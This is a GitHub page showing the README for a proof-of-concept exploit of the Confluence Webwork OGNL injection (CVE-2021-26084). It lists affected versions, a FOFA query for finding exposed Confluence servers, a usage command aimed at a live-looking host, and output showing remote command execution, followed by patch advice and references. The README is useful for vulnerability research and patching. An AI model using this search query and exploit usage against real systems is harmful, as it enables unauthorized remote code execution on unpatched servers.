

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Sign in

Sign up

TesterCC / exp\_poc\_library

Public

Notifications

Fork 0

Star 3

<> Code

Issues

Pull requests

Actions

Projects

Security

Insights

Files

master

Go to file

exp\_poc

CVE-2010-2861\_Adobe\_ColdFu...

CVE-2012-0002\_Win2008\_RDP...

CVE-2012-0391\_S2-008

CVE-2016-10134\_Zabbix\_SQL\_I...

CVE-2016-8339\_Redis\_Unauth...

CVE-2017-11610\_Supervisord

CVE-2017-12611\_S2-053

CVE-2017-7529\_Nginx

CVE-2018-14574\_Django\_URL\_...

CVE-2018-14961\_ZZCMS

CVE-2018-3760\_RubyOnRails

CVE-2019-5475\_Sonatype\_Nexus

CVE-2019-7609\_Kibana

CVE-2019-8341\_Flask\_Jinja2

CVE-2020-11651\_SaltStack

CVE-2020-35576\_TP-Link\_TL-...

CVE-2021-26084\_Confluence\_...

CVE-2021-26084.md

CVE-2021-26084\_Confluence\_...

CVE-2021-3019\_LanProxy

others

.gitignore

README.md

exp\_poc\_library / exp\_poc / CVE-2021-26084\_Confluence\_OGNL\_injection / CVE-2021-26084.md

update - a little update

f4fcbe9 · 3 years ago

History

Preview

Code

Blame

49 lines (30 loc) · 1.74 KB

Raw

# CVE-2021-26084 Confluence Server Webwork OGNL injection

## Intro

8月25 日，Atlassian官方发布了Confluence Server Webwork OGNL 注入漏洞的风险通告，漏洞 CVE 编号：CVE-2021-26084。经过身份验证的攻击者能利用该漏洞在目标系统上执行任意代码。目前官方已修复该漏洞，建议受影响用户及时更新至安全版本进行防护，做好资产自查以及预防工作，以免遭受黑客攻击。

## Threat Level

High

## Affected Versions

Atlassian Confluence Server/Data Center < 6.13.23

Atlassian Confluence Server/Data Center < 7.4.11

Atlassian Confluence Server/Data Center < 7.11.6

Atlassian Confluence Server/Data Center < 7.12.5

Atlassian Confluence Server/Data Center < 7.13.0

Confluence

Log in

Username

Password

Log in

Forgot your password?

Čeština · Dansk · Deutsch · Eesti · English (UK) · English (US) · Español · Français · Íslenska · Italiano · Magyar · Nederlands · Norsk · Polski · Português · Română · Slovenčina · Suomi · Svenska · Русский · 中文 · 日本語 · 한국어

基于 Atlassian Confluence 7.12.1 ( 技术构建 · 报告缺陷 · Atlassian 新闻)

ATLASSIAN

Search

FOFA syntax: app="ATLASSIAN-Confluence"

Usage

```
python3 CVE-2021-26084_Confluence_OGNL_injection.py -u https://confluence.buildarocketboy.com/ -p /pages/createpage-entervariables.action?SpaceKey=x
```

Page 1 of 2

```
$ python CVE-2021-26084_Confluence_OGNL_injection.py -u https://[REDACTED] -p /pages/createpage-entervariables.action?SpaceKey=x
-----
[-] Confluence Server Webwork OGNL injection
[-] CVE-2021-26084
-----

> id
aaaaaaa[uid=2001(confluence) gid=2001(confluence) groups=2001(confluence)
]
> whoami
aaaaaaa[confluence
]
> pwd
aaaaaaa[/
]
2 Favorites
```

## Fix

1. 建议升级至 6.13.23、7.4.11、7.11.6、7.12.5 和 7.13.0 安全版本。

下载链接：<https://www.atlassian.com/software/confluence/download-archives>

2. 若相关用户暂时无法进行升级操作，可通过官方给出的临时解决方法缓解漏洞影响，参考<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>

## REF

- <https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>
- <https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md>
- <https://www.exploit-db.com/exploits/50243>